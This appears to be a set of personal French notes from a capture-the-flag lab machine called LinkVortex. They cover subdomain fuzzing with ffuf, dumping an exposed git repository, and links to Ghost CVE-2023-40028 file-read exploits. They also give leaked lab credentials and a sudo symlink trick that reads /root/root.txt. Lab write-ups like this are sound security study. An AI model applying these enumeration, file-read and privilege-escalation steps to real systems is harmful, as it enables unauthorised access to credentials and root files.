
Plusieurs techniques d'énumération intéressantes : 

uniscan -u @IP --qweds 

ffuf -u http://linkvortex.htb/ -w /home/kali/Downloads/SecLists-master/Discovery/Web-Content/big.txt -H 
"Host:FUZZ.linkvortex.htb"  -mc 200  (Subdomain enumeration)

LinkVortex
mardi 1 avril 2025 23:02
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http://linkvortex.htb/


Avec githack on récupére le reposiroty git : 
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USERNAME - admin@linkvortex.htb 
PASSWORD - OctopiFociPilfer45

Exploit 

https://security.snyk.io/vuln/SNYK-JS-GHOST-5843513

https://github.com/0xyassine/CVE-2023-40028/tree/master

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
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https://security.snyk.io/vuln/SNYK-JS-GHOST-5843513
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https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028


On trouve un ssh login : 

bob@linkvortex.htb
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bob@linkvortex.htb
fibber-talented-worth

/usr/bin/bash /opt/ghost/clean_symlink.sh *.png

ln -s /root/root.txt pwn.txt•
ln -s /root/root.txt pwn.png•
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh 
/home/bob/pwn.png

•
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